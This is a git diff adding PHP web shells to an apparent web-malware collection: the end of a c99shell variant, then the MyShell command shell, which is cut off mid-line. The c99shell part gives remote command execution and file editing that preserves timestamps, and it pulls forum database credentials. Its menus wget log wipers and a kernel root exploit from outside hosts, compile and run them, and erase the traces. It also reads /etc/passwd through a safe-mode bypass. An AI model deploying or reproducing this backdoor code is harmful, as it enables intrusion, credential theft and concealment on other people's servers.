array("[change]","edit") + ); + echo "<b>Viewing file:&nbsp;&nbsp;&nbsp;&nbsp;[$ext]&nbsp;".$f." (".view_size(filesize($d.$f)).") &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;".view_perms_color($d.$f)."</b><br>Select action/file-type:<br>"; + foreach($arr as $t) + { + if ($t[1] == $rft) {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><font color=red>".$t[0]."</font></a>";} + elseif ($t[1] == $ft) {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b><u>".$t[0]."</u></b></a>";} + else {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b>".$t[0]."</b></a>";} + echo " (<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&white=1&d=".urlencode($d)."\" target=\"_blank\">+</a>) |"; + } + echo "<hr size=\"1\" noshade>"; + if ($ft == "info") + { + echo "<b>Information:</b><table border=0 cellspacing=1 cellpadding=2><tr><td><b>Path</b></td><td> ".$d.$f."</td></tr><tr><td><b>Size</b></td><td> ".view_size(filesize($d.$f))."</td></tr><tr><td><b>MD5</b></td><td> ".md5_file($d.$f)."</td></tr>"; + if (!$win) + { + echo "<tr><td><b>Owner/Group</b></td><td> "; + $ow = posix_getpwuid(fileowner($d.$f)); + $gr = posix_getgrgid(filegroup($d.$f)); + echo ($ow["name"]?$ow["name"]:fileowner($d.$f))."/".($gr["name"]?$gr["name"]:filegroup($d.$f)); + } + echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."act=chmod&f=".urlencode($f)."&d=".urlencode($d)."\">".view_perms_color($d.$f)."</a></td></tr><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d.$f))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d.$f))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d.$f))."</td></tr></table><br>"; + $fi = fopen($d.$f,"rb"); + if ($fi) + { + if ($fullhexdump) {echo "<b>FULL HEXDUMP</b>"; $str = fread($fi,filesize($d.$f));} + else {echo "<b>HEXDUMP PREVIEW</b>"; $str = fread($fi,$hexdump_lines*$hexdump_rows);} + $n = 0; + $a0 = "00000000<br>"; + $a1 = ""; + $a2 = ""; + for ($i=0; $i<strlen($str); $i++) + { + $a1 .= sprintf("%02X",ord($str[$i]))." "; + switch (ord($str[$i])) + { + case 0: $a2 .= "<font>0</font>"; break; + case 32: + case 10: + case 13: $a2 .= "&nbsp;"; break; + default: $a2 .= htmlspecialchars($str[$i]); + } + $n++; + if ($n == $hexdump_rows) + { + $n = 0; + if ($i+1 < strlen($str)) {$a0 .= sprintf("%08X",$i+1)."<br>";} + $a1 .= "<br>"; + $a2 .= "<br>"; + } + } + //if ($a1 != "") {$a0 .= sprintf("%08X",$i)."<br>";} + echo "<table border=0 bgcolor=#666666 cellspacing=1 cellpadding=4><tr><td bgcolor=#666666>".$a0."</td><td bgcolor=000000>".$a1."</td><td bgcolor=000000>".$a2."</td></tr></table><br>"; + } + $encoded = ""; + if ($base64 == 1) + { + echo "<b>Base64 Encode</b><br>"; + $encoded = base64_encode(file_get_contents($d.$f)); + } + elseif($base64 == 2) + { + echo "<b>Base64 Encode + Chunk</b><br>"; + $encoded = chunk_split(base64_encode(file_get_contents($d.$f))); + } + elseif($base64 == 3) + { + echo "<b>Base64 Encode + Chunk + Quotes</b><br>"; + $encoded = base64_encode(file_get_contents($d.$f)); + $encoded = substr(preg_replace("!.{1,76}!","'\\0'.\n",$encoded),0,-2); + } + elseif($base64 == 4) + { + $text = file_get_contents($d.$f); + $encoded = base64_decode($text); + echo "<b>Base64 Decode"; + if (base64_encode($encoded) != $text) {echo " (failed)";} + echo "</b><br>"; + } + if (!empty($encoded)) + { + echo "<textarea cols=80 rows=10>".htmlspecialchars($encoded)."</textarea><br><br>"; + } + echo "<b>HEXDUMP:</b><nobr> [<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&fullhexdump=1&d=".urlencode($d)."\">Full</a>] [<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&d=".urlencode($d)."\">Preview</a>]<br><b>Base64: </b> +<nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=1&d=".urlencode($d)."\">Encode</a>]&nbsp;</nobr> +<nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=2&d=".urlencode($d)."\">+chunk</a>]&nbsp;</nobr> +<nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=3&d=".urlencode($d)."\">+chunk+quotes</a>]&nbsp;</nobr> +<nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=4&d=".urlencode($d)."\">Decode</a>]&nbsp;</nobr> +<P>"; + } + elseif ($ft == "html") + { + if ($white) {@ob_clean();} + echo $r; + if ($white) {c99shexit();} + } + elseif ($ft == "txt") {echo "<pre>".htmlspecialchars($r)."</pre>";} + elseif ($ft == "ini") {echo "<pre>"; var_dump(parse_ini_file($d.$f,TRUE)); echo "</pre>";} + elseif ($ft == "phpsess") + { + echo "<pre>"; + $v = explode("|",$r); + echo $v[0]."<br>"; + var_dump(unserialize($v[1])); + echo "</pre>"; + } + elseif ($ft == "exe") + { + $ext = explode(".",$f); + $c = count($ext)-1; + $ext = $ext[$c]; + $ext = strtolower($ext); + $rft = ""; + foreach($exeftypes as $k=>$v) + { + if (in_array($ext,$v)) {$rft = $k; break;} + } + $cmd = str_replace("%f%",$f,$rft); + echo "<b>Execute file:</b><form action=\"".$surl."\" method=POST><input type=hidden name=act value=cmd><input type=\"text\" name=\"cmd\" value=\"".htmlspecialchars($cmd)."\" size=\"".(strlen($cmd)+2)."\"><br>Display in text-area<input type=\"checkbox\" name=\"cmd_txt\" value=\"1\" checked><input type=hidden name=\"d\" value=\"".htmlspecialchars($d)."\"><br><input type=submit name=submit value=\"Execute\"></form>"; + } + elseif ($ft == "sdb") {echo "<pre>"; var_dump(unserialize(base64_decode($r))); echo "</pre>";} + elseif ($ft == "code") + { + if (ereg("php"."BB 2.(.*) auto-generated config file",$r)) + { + $arr = explode("\n",$r); + if (count($arr == 18)) + { + include($d.$f); + echo "<b>phpBB configuration is detected in this file!<br>"; + if ($dbms == "mysql4") {$dbms = "mysql";} + if ($dbms == "mysql") {echo "<a href=\"".$surl."act=sql&sql_server=".htmlspecialchars($dbhost)."&sql_login=".htmlspecialchars($dbuser)."&sql_passwd=".htmlspecialchars($dbpasswd)."&sql_port=3306&sql_db=".htmlspecialchars($dbname)."\"><b><u>Connect to DB</u></b></a><br><br>";} + else {echo "But, you can't connect to forum sql-base, because db-software=\"".$dbms."\" is not supported by c99shell. Please, report us for fix.";} + echo "Parameters for manual connect:<br>"; + $cfgvars = array("dbms"=>$dbms,"dbhost"=>$dbhost,"dbname"=>$dbname,"dbuser"=>$dbuser,"dbpasswd"=>$dbpasswd); + foreach ($cfgvars as $k=>$v) {echo htmlspecialchars($k)."='".htmlspecialchars($v)."'<br>";} + echo "</b><hr size=\"1\" noshade>"; + } + } + echo "<div style=\"border : 0px solid #FFFFFF; padding: 1em; margin-top: 1em; margin-bottom: 1em; margin-right: 1em; margin-left: 1em; background-color: ".$highlight_background .";\">"; + if (!empty($white)) {@ob_clean();} + highlight_file($d.$f); + if (!empty($white)) {c99shexit();} + echo "</div>"; + } + elseif ($ft == "download") + { + @ob_clean(); + header("Content-type: application/octet-stream"); + header("Content-length: ".filesize($d.$f)); + header("Content-disposition: attachment; filename=\"".$f."\";"); + echo $r; + exit; + } + elseif ($ft == "notepad") + { + @ob_clean(); + header("Content-type: text/plain"); + header("Content-disposition: attachment; filename=\"".$f.".txt\";"); + echo($r); + exit; + } + elseif ($ft == "img") + { + $inf = getimagesize($d.$f); + if (!$white) + { + if (empty($imgsize)) {$imgsize = 20;} + $width = $inf[0]/100*$imgsize; + $height = $inf[1]/100*$imgsize; + echo "<center><b>Size:</b>&nbsp;"; + $sizes = array("100","50","20"); + foreach ($sizes as $v) + { + echo "<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=img&d=".urlencode($d)."&imgsize=".$v."\">"; + if ($imgsize != $v ) {echo $v;} + else {echo "<u>".$v."</u>";} + echo "</a>&nbsp;&nbsp;&nbsp;"; + } + echo "<br><br><img src=\"".$surl."act=f&f=".urlencode($f)."&ft=img&white=1&d=".urlencode($d)."\" width=\"".$width."\" height=\"".$height."\" border=\"1\"></center>"; + } + else + { + @ob_clean(); + $ext = explode($f,"."); + $ext = $ext[count($ext)-1]; + header("Content-type: ".$inf["mime"]); + readfile($d.$f); + exit; + } + } + elseif ($ft == "edit") + { + if (!empty($submit)) + { + if ($filestealth) {$stat = stat($d.$f);} + $fp = fopen($d.$f,"w"); + if (!$fp) {echo "<b>Can't write to file!</b>";} + else + { + echo "<b>Saved!</b>"; + fwrite($fp,$edit_text); + fclose($fp); + if ($filestealth) {touch($d.$f,$stat[9],$stat[8]);} + $r = $edit_text; + } + } + $rows = count(explode("\r\n",$r)); + if ($rows < 10) {$rows = 10;} + if ($rows > 30) {$rows = 30;} + echo "<form action=\"".$surl."act=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."\" method=POST><input type=submit name=submit value=\"Save\">&nbsp;<input type=\"reset\" value=\"Reset\">&nbsp;<input type=\"button\" onclick=\"location.href='".addslashes($surl."act=ls&d=".substr($d,0,-1))."';\" value=\"Back\"><br><textarea name=\"edit_text\" cols=\"122\" rows=\"".$rows."\">".htmlspecialchars($r)."</textarea></form>"; + } + elseif (!empty($ft)) {echo "<center><b>Manually selected type is incorrect. If you think, it is mistake, please send us url and dump of \$GLOBALS.</b></center>";} + else {echo "<center><b>Unknown extension (".$ext."), please, select type manually.</b></center>";} + } +} +} +else +{ + @ob_clean(); + //For simple size- and speed-optimization. + $imgequals = array( + "ext_tar"=>array("ext_tar","ext_r00","ext_ace","ext_arj","ext_bz","ext_bz2","ext_tbz","ext_tbz2","ext_tgz","ext_uu","ext_xxe","ext_zip","ext_cab","ext_gz","ext_iso","ext_lha","ext_lzh","ext_pbk","ext_rar","ext_uuf"), + "ext_php"=>array("ext_php","ext_php3","ext_php4","ext_php5","ext_phtml","ext_shtml","ext_htm"), + "ext_jpg"=>array("ext_jpg","ext_gif","ext_png","ext_jpeg","ext_jfif","ext_jpe","ext_bmp","ext_ico","ext_tif","tiff"), + "ext_html"=>array("ext_html","ext_htm"), + "ext_avi"=>array("ext_avi","ext_mov","ext_mvi","ext_mpg","ext_mpeg","ext_wmv","ext_rm"), + "ext_lnk"=>array("ext_lnk","ext_url"), + "ext_ini"=>array("ext_ini","ext_css","ext_inf"), + "ext_doc"=>array("ext_doc","ext_dot"), + "ext_js"=>array("ext_js","ext_vbs"), + "ext_cmd"=>array("ext_cmd","ext_bat","ext_pif"), + "ext_wri"=>array("ext_wri","ext_rtf"), + "ext_swf"=>array("ext_swf","ext_fla"), + "ext_mp3"=>array("ext_mp3","ext_au","ext_midi","ext_mid"), + "ext_htaccess"=>array("ext_htaccess","ext_htpasswd","ext_ht","ext_hta","ext_so") + ); + if (!$getall) + { + header("Content-type: image/gif"); + header("Cache-control: public"); + header("Expires: ".date("r",mktime(0,0,0,1,1,2030))); + header("Cache-control: max-age=".(60*60*24*7)); + header("Last-Modified: ".date("r",filemtime(__FILE__))); + foreach($imgequals as $k=>$v) {if (in_array($img,$v)) {$img = $k; break;}} + if (empty($images[$img])) {$img = "small_unk";} + if (in_array($img,$ext_tar)) {$img = "ext_tar";} + echo base64_decode($images[$img]); + } + else + { + foreach($imgequals as $a=>$b) {foreach ($b as $d) {if ($a != $d) {if (!empty($images[$d])) {echo("Warning! Remove \$images[".$d."]<br>");}}}} + natsort($images); + $k = array_keys($images); + echo "<center>"; + foreach ($k as $u) {echo $u.":<img src=\"".$surl."act=img&img=".$u."\" border=\"1\"><br>";} + echo "</center>"; + } + exit; +} +?> +</td></tr></table><a bookmark="minipanel"><br><TABLE width=100% id=bordered> +<tr><td width="100%" height="1" valign="top"><center><form action="<?php echo $surl; ?>"><input type=hidden name=act value="cmd"><br/><b>Local Command:</b> <input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="cmd" size="50" value="<?php echo htmlspecialchars($cmd); ?>"><input type=hidden name="cmd_txt" value="1">&nbsp;<input type=submit name=submit value="Execute"></form></td></tr></TABLE> +<br><TABLE width=100% id=bordered> +<tr> + <td width="50%" height="83" valign="top"><center> + <div align="center"><br/> + <b> Quick Commands </b></div> + <form action="<?php echo $surl; ?>"> + <div align="center"> + <input type=hidden name=act value="cmd"> + <input type=hidden name="d" value="<?php echo $dispd; ?>"> + <SELECT NAME="cmd"> + <OPTION VALUE="#"> [File Manipulation] + <OPTION VALUE=""> + <OPTION VALUE="lsattr -va">List file attributes on a Linux second extended file system + <OPTION VALUE="find / -type f -perm -04000 -ls">Find suid files + <OPTION VALUE="find . -type f -perm -04000 -ls">Find suid files in current directory + <OPTION VALUE="find / -type f -perm -02000 -ls">Find sgid files + <OPTION VALUE="find . -type f -perm -02000 -ls">Find sgid files in current directory + <OPTION VALUE="ls -lia">List you current directory's files, folders, & permissions + <OPTION VALUE="find / -type f -name config.inc.php">Find config.inc.php files + <OPTION VALUE="find . -type f -name config.inc.php">Find config.inc.php files in current directory + <OPTION VALUE="find / -type f -name "config*">Find config* files + <OPTION VALUE="find . -type f -name "config*">Find config* files in current directory + <OPTION VALUE="find / -type f -perm -2 -ls">Find all writable files + <OPTION VALUE="find . -type f -perm -2 -ls">Find all writable files in current directory + <OPTION VALUE="find / -perm -2 -ls">Find all writable directories and files + <OPTION VALUE="find . -perm -2 -ls">Find all writable directories and files in current directory + <OPTION VALUE="find / -type f -name service.pwd">Find all service.pwd files + <OPTION VALUE="find . -type f -name service.pwd">Find service.pwd files in current directory + <OPTION VALUE="find / -type f -name .htpasswd">Find all .htpasswd files + <OPTION VALUE="find . -type f -name .htpasswd">Find .htpasswd files in current directory + <OPTION VALUE="find / -type f -name .bash_history">Find all .bash_history files + <OPTION VALUE="find . -type f -name .bash_history">Find .bash_history files in current directory + <OPTION VALUE="find / -type f -name .mysql_history">Find all .mysql_history files + <OPTION VALUE="find . -type f -name .mysql_history">Find .mysql_history files in current directory + <OPTION VALUE="find / -type f -name .fetchmailrc">Find all .fetchmailrc files + <OPTION VALUE="find . -type f -name .fetchmailrc">Find .fetchmailrc files in current directory + <OPTION VALUE="cat /var/cpanel/accounting.log">Get cpanel logs + <OPTION VALUE=""> + <OPTION VALUE="#"> [Directory Malipulation] + <OPTION VALUE=""> + <OPTION VALUE="pwd">List your current directory + <OPTION VALUE="find /etc/ -type f -perm -o+w 2> /dev/null">Is /etc/ writable? + <OPTION VALUE="find / -type d -perm -2 -ls">Find all writable directories +<OPTION VALUE="find . -type d -perm -2 -ls">Find all writable directories in current directory +<OPTION VALUE="find / -type d -perm -2 -ls">Find all writable directories +<OPTION VALUE="find . -type d -perm -2 -ls">Find all writable directories in current directory +<OPTION VALUE=""> +<OPTION VALUE="#"> [Miscellaneous Commands] +<OPTION VALUE=""> + <OPTION VALUE="tar -cvf NEWTAR!!.tar -c <?php passthru('pwd'); ?>">Tar your current directory. (Only works if the directory is writable) + <OPTION VALUE="uname -a">Kernel version + <OPTION VALUE="w">Logged in users + <OPTION VALUE="lastlog">Last users to connect + <OPTION VALUE="find /bin /usr/bin /usr/local/bin /sbin /usr/sbin /usr/local/sbin -perm -4000 2> /dev/null">Suid bins + <OPTION VALUE="cut -d: -f1,2,3 /etc/passwd | grep ::">Users without passwords + <OPTION VALUE="cat /proc/version /proc/cpuinfo">CpuInfo + <OPTION VALUE="netstat -atup | grep IST">Open ports + <OPTION VALUE=""> + <OPTION VALUE="#"> [Application Verification] + <OPTION VALUE=""> + <OPTION VALUE="which wget curl w3m lynx">Check For Downloaders (WGET, et cetera) + <OPTION VALUE="locate gcc">Check For GCC + <OPTION VALUE=""> + <OPTION VALUE="#"> [Log Cleaners] + <OPTION VALUE=""> + <OPTION VALUE="wget http://packetstormsecurity.org/UNIX/penetration/log-wipers/logcleaner-0.3.c">Wipelogs (Part 1)(Zap3) + <OPTION VALUE="gcc logcleaner-0.3.c -o logcleaner-0.3">Wipelogs (Part 2)(Zap3) + <OPTION VALUE="./logcleaner-0.3 <? echo $_SERVER["REMOTE_ADDR"]; ?>">Wipelogs (Part 3)(Zap3) + <OPTION VALUE="Gone!<? if($_REQUEST['cmd']=="Gone!") { if (file_exists("logcleaner-0.3.c")) { unlink("logcleaner-0.3.c"); } if (file_exists("logcleaner-0.3")) { unlink("logcleaner-0.3"); } } ?>">Remove All Zap3 Traces + <OPTION VALUE=""> + <OPTION VALUE="wget http://www.packetstormsecurity.org/UNIX/penetration/log-wipers/vanish.c">Wipelogs (Part 1)(Vanish) + <OPTION VALUE="gcc vanish.c -o vanish">Wipelogs (Part 2)(Vanish) + <OPTION VALUE="./vanish <? echo exec('whoami'); ?> <? echo $_SERVER["REMOTE_ADDR"]; ?> <? echo gethostbyname($_SERVER["HTTP_HOST"]); ?>">Wipelogs (Part 3)(Vanish) + <OPTION VALUE="Gone!!<? if($_REQUEST['cmd']=="Gone!!") { if (file_exists("vanish.c")) { unlink("vanish.c"); } if (file_exists("vanish")) { unlink("vanish"); } } ?>">Remove All Vanish Traces + <OPTION VALUE=""> + <OPTION VALUE="#"> [Root Exploits] + <OPTION VALUE=""> + <OPTION VALUE="wget http://www.synsta.templatez.org/1.txt">Linux Kernel 2.6.13 - 2.6.17.4 Local Root Exploit (Part 1) + <OPTION VALUE="mv 1.txt exploit.c">Linux Kernel 2.6.13 - 2.6.17.4 Local Root Exploit (Part 2) + <OPTION VALUE="gcc exploit.c -o exploit">Linux Kernel 2.6.13 - 2.6.17.4 Local Root Exploit (Part 3) + <OPTION VALUE="./exploit">Linux Kernel 2.6.13 - 2.6.17.4 Local Root Exploit (Part 4) + <OPTION VALUE="Gone!!!<? if($_REQUEST['cmd']=="Gone!!!") { if (file_exists("exploit.c")) { unlink("exploit.c"); } if (file_exists("1.txt")) { unlink("1.txt"); } if (file_exists("exploit")) { unlink("exploit"); } } ?>">Remove All Exploit Traces + </SELECT> + + <input type=hidden name="cmd_txt" value="1"> + &nbsp; + <input type=submit name=submit value="Execute"></div> + </form> + </td> + <td width="50%" height="83" valign="top"><center> + <center><br/><b> Kernel Information </b> +<form action=http://google.com/search name=f><input type=hidden name=client value="firefox-a"><input type=hidden name=rls value="org.mozilla:en-US:official_s"><input type=hidden name=hl value=en><input id=sf maxLength=256 name=q value="<?php echo wordwrap(php_uname()); ?>" size=80> +&nbsp; +<input type=submit value="Search" name=btnG></form> +</center> + </td> +</tr></TABLE> +<br> +<TABLE width=100% id=bordered> +<tr> + <td width="50%" height="83" valign="top"><center> + <div align="center"><strong>PHP Safe-Mode Bypass (Read Files) </strong></div> + <br> + <form action="<?php echo $surl; ?>" method="post"> + <div align="center"> + File: <input type="text" name="file"> <input type="submit" value="Read File"><br><br> eg: /etc/passwd<br> + <?php + function rsg_read() + { + $test=""; + $temp=tempnam($test, "cx"); + $file=$_REQUEST['file']; + $get=htmlspecialchars($file); + echo "</br>Trying To Get File <font color=#000099><b>$get</b></font><br>"; + if(copy("compress.zlib://".$file, $temp)){ + $fichier = fopen($temp, "r"); + $action = fread($fichier, filesize($temp)); + fclose($fichier); + $source=htmlspecialchars($action); + + + echo "<div class=\"shell\"></br><b>Reading $get:</b><br><br><textarea rows=10 cols=50>$source</textarea><br>"; + unlink($temp); + } else { + echo("</br><FONT COLOR=\"RED\"><CENTER>Sorry... File + <B>".htmlspecialchars($file)."</B> dosen't exists or you don't have + access.</CENTER></FONT>"); + } + echo "</div>"; + } + + if(isset($_REQUEST['file'])) +{ +rsg_read(); +} + + ?> + + <? + + function rsg_glob() +{ +$chemin=$_REQUEST['directory']; +$files = glob("$chemin*"); +echo "</br>Trying To List Folder <font color=#000099><b>$chemin</b></font><br>"; +foreach ($files as $filename) { + echo "<pre>"; + echo "$filename\n"; + echo "</pre>"; +} +} + +if(isset($_REQUEST['directory'])) +{ +rsg_glob(); +} + +?> + + <br> + </div> + </form> + </td> + <td width="50%" height="83" valign="top"><center> + <center> + <strong>PHP Safe-Mode Bypass (List Directories)</strong>: + <form action="<?php echo $surl; ?>" method="post"> + <div align="center"><br> + Dir: <input type="text" name="directory"> <input type="submit" value="List Directory"><br><br> eg: /etc/<br> + + </form></center> + </td> +</tr></TABLE> +<br><TABLE width=100% id=bordered> +<tr> + <td width="50%" height="1" valign="top"><center> + <b>Search</b> + <form method="POST"><input type=hidden name=act value="search"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="search_name" size="29" value="(.*)">&nbsp;<input type="checkbox" name="search_name_regexp" value="1" checked> - regexp&nbsp;<input type=submit name=submit value="Search"></form></center></p></td> + <td width="50%" height="1" valign="top"><center> + <b>Upload</b> + <form method="POST" ENCTYPE="multipart/form-data"><input type=hidden name=act value="upload"><input type="file" name="uploadfile"><input type=hidden name="miniform" value="1">&nbsp;<input type=submit name=submit value="Upload"><br><?php echo $wdt; ?></form></center></td> +</tr> +</table> +<br><TABLE width=100% id=bordered><tr><td width="50%" height="1" valign="top"><center> + <b><strong>Create Directory + </strong> + <p><form action="<?php echo $PHP_SELF; ?>"><input type=hidden name=act value="mkdir"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="mkdir" size="50" value="<?php echo $dispd; ?>">&nbsp;<input type=submit value="Create"><br><?php echo $wdt; ?></form></center></td><td width="50%" height="1" valign="top"><center> + <strong>Create File </strong> + <form method="POST"><input type=hidden name=act value="mkfile"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="mkfile" size="50" value="<?php echo $dispd; ?>"><input type=hidden name="ft" value="edit">&nbsp;<input type=submit value="Create"><br><?php echo $wdt; ?></form></center></td></tr></table> + +<br><TABLE width=100% id=bordered><tr><td width="50%" height="1" valign="top"><center> + <b>Enter Directory </b> + <form action="<?php echo $surl; ?>"><input type=hidden name=act value="ls"><input type="text" name="d" size="50" value="<?php echo $dispd; ?>">&nbsp;<input type=submit value="Go"></form></center></td><td width="50%" height="1" valign="top"><center> + <b>Access File</b> + <form action="<?php echo $surl; ?>"><input type=hidden name=act value="gofile"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="f" size="50" value="<?php echo $dispd; ?>">&nbsp;<input type=submit value="Go"></form></center></td></tr></table> +</td> +</tr> +</TABLE> +<br><br><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=0 width="100%" bgColor=#000000 borderColorLight=#c0c0c0 border=1><tr><td width="990" height="1" valign="top"><p align="center"><b>--[ c99shell Editing by <a href=http://devilzc0de.org/ class="style1">jos_ali_joe</a>. | <? echo("$shver"); ?> ]--</p></td></tr></table> +<br/></body></html><?php chdir($lastdir); c99shexit(); ?> + diff --git a/web-malware-collection-master/Backdoors/PHP/myshell.txt b/web-malware-collection-master/Backdoors/PHP/myshell.txt new file mode 100755 index 0000000..5561266 --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/myshell.txt @@ -0,0 +1,420 @@ +<?php +/* + ************************************************************** + * MyShell * + ************************************************************** + $Id: shell.php,v 1.1.0 beta 2001/09/23 23:25:12 digitart Exp $ + + An interactive PHP-page that will execute any command entered. + See the files README and INSTALL or http://www.digitart.net for + further information. + Copyright �2001 Alejandro Vasquez <admin@digitart.com.mx> + based on the original program phpShell by Martin Geisler + + This program is free software; you can redistribute it and/or + modify it under the terms of the GNU General Public License + as published by the Free Software Foundation; either version 2 + of the License, or (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You can get a copy of the GNU General Public License from this + address: http://www.gnu.org/copyleft/gpl.html#SEC1 + You can also write to the Free Software Foundation, Inc., 59 Temple + Place - Suite 330, Boston, MA 02111-1307, USA. +*/ + +#$selfSecure enables built-in authenticate feature. This must be 0 in order to +#use .htaccess file or other alternative method to control access to MyShell. +#Set up your user and password using $shellUser and $shellPswd. +#DO NOT TURN THIS OFF UNLESS YOU HAVE AN ALTERNATE METHOD TO PROTECT +#ACCESS TO THE SCRIPT. + +$selfSecure = 0; +$shellUser = ""; +$shellPswd = ""; + +#$adminEmail is the email address to send warning notifications in case +#someone tries to access the script and fails to provide correct user and +#password. This only works if you have $selfSecure enabeled. + +$adminEmail = "******@mail.ru"; + +#$fromEmail is the email address warning messages are sended from. +#This defaults to the server admin, but you can change +#to any address you want i.e.: noreplay@yourdomain.com +#This only works if you have $selfSecure enabeled. + +$fromEmail = $HTTP_SERVER_VARS["SERVER_ADMIN"]; + +#$dirLimit is the top directory allowed to change when using cd command +#or the form selector. Any attempt to change to a directory up to this +#level bounces MyShell to this directory. i.e.: $dirLimit = "/home"; +#It is a good practice to set it to $DOCUMENT_ROOT using: +#$dirLimit = $DOCUMENT_ROOT; +#If you want to have access to all server directories leave it blank. +#WARNING: Althought a user won't be able to snoop on directories above +#this level using MyShell, he/she will still be able to excecute +#commands on any directory where Webserver has permission, +#i.e.: mkdir /tmp/mydir or cat /home/otheruser/.htaccess. + +$dirLimit = ""; + +#$autoErrorTrap Enable automatic error traping if command returns error. +#Bear in mind that MyShell executes the command a second time in order to +#trap the stderr. This shouldn't be a problem in most cases. +#If you turn it off, you'll have to select either to trap stderr or not for +#every command you excecute. + +$autoErrorTrap = 1; + +#$voidCommands is the list of commands that MyShell won't run by any means. +#It defaults to known problematic commands from a web interface like pico, +#top, xterm but also it can include specific commands you don't want to +#be excecuted from MyShell, i.e.: dig, ping, info, kill etc. + +$voidCommands = array("top","xterm","su","vi","pico","netscape"); + +#$TexEd Built-in Text Editor prefered name. This is the command you'll use +#to invoke MyShell's built in text editor. +# If you are used to type pico or vi for your fav text editor, +#change this to your please. i.e.: +# $TexEd = "pico"; +#will allow you to type 'pico config.php' to edit the file config.php +#MyShell's text editor do not support usual commands in pico, vi etc. +#Don't forget to take off this command from the $voidCommands list +$TexEd = "edit"; + +#$editWrap selects to use or not wrap in the editor's textarea. Wrap OFF +#is usefull when you have to edit files with long lines, i.e.: in php code +#files, because otherwise it is no easy to distinguish a real new line (CR) +#from a wraped one. If you prefer to stick to the default wraped mode of +#TEXTAREA just leave this blank i.e.: $editWrap="". +$editWrap ="wrap='OFF'"; + +#Cosmetic defaults. + +$termCols = 80; //Default width of the output text area +$termRows = 20; //Default heght of the output text area +$bgColor = "#000000"; //background color +$bgInputColor = "#333333"; //color of the input field +$outColor = "#00BB00"; //color of the text output from the server +$textColor = "#009900"; //color of the hard texts of the terminal +$linkColor = "#00FF00"; //color of the links + +/************** No customize needed from this point *************/ + +$MyShellVersion = "MyShell 1.1.0 build 20010923"; +if ($command&&get_magic_quotes_gpc())$command=stripslashes($command); +if($selfSecure){ + if (($PHP_AUTH_USER!=$shellUser)||($PHP_AUTH_PW!=$shellPswd)) { + Header('WWW-Authenticate: Basic realm="MyShell"'); + Header('HTTP/1.0 401 Unauthorized'); + echo "<html> + <head> + <title>$MyShellVersion - Access Denied</title> + </head> + <h1>Access denied</h1> + A warning message have been sended to the administrator + <hr> + <em>$MyShellVersion</em>"; + if(isset($PHP_AUTH_USER)){ + $warnMsg =" + This is $MyShellVersion + installed on: http://".$HTTP_SERVER_VARS["HTTP_HOST"]."$PHP_SELF + just to let you know that somebody tryed to access + the script using wrong username or password: + + Date: ".date("Y-m-d H:i:s")." + IP: ".$HTTP_SERVER_VARS["REMOTE_ADDR"]." + User Agent: ".$HTTP_SERVER_VARS["HTTP_USER_AGENT"]." + username used: $PHP_AUTH_USER + password used: $PHP_AUTH_PW + + If this is not the first time it happens, + please consider either to remove MyShell + from your system or change it's name or + directory location on your server. + + Regards + The MyShell dev team + "; + mail($adminEmail,"MyShell Warning - Unauthorized Access",$warnMsg, + "From: $fromEmail\nX-Mailer:$MyShellVersion AutoWarn System"); + } + exit; + } +} +//Function that validate directories +function validate_dir($dir){ + GLOBAL $dirLimit; + if($dirLimit){ + $cdPos = strpos($dir,$dirLimit); + if ((string)$cdPos == "") { + $dir = $dirLimit; + $GLOBALS["shellOutput"] = "You are not allowed change to directories above $dirLimit\n"; + } + } + return $dir; +} + +// Set working directory. +if (isset($work_dir)) { + //A workdir has been asked for - we chdir to that dir. + $work_dir = validate_dir($work_dir); + @chdir($work_dir) or + ($shellOutput = "MyShell: can't change directory. Permission denied\nSwitching back to $DOCUMENT_ROOT\n"); + $work_dir = exec("pwd"); +} +else{ + // No work_dir - we chdir to $DOCUMENT_ROOT + $work_dir = validate_dir($DOCUMENT_ROOT); + chdir($work_dir); + $work_dir = exec("pwd"); +} + +//Now we handle files if we are in Edit Mode +if($editMode && ($command||$editCancel))$editMode=false; +if($editMode){ + if($editSave ||$editSaveExit){ + if(function_exists(ini_set))ini_set("track_errors","1"); + if($fp=@fopen($file,"w")){ + if(get_magic_quotes_gpc())$shellOut=stripslashes($shellOut); + fputs($fp,$shellOut); + fclose($fp); + $command = $TexEd." ".$file; + if($editSaveExit) { + $command=""; + $shellOutput="MyShell: $file: saved"; + $editMode=false; + } + } + else { + $command=""; + $shellOutput="MyShell: Error while saving $file:\n$php_errormsg\nUse back button to recover your changes."; + $errorSave=true; + } + } +} + +//Separate command(s) and arguments to analize first command +$input=explode(" ",$command); + +while (list ($key, $val) = each ($voidCommands)) { + if($input[0]==$val){ + $voidCmd = $input[0]; + $input[0]="void"; + } +}$ra44 = 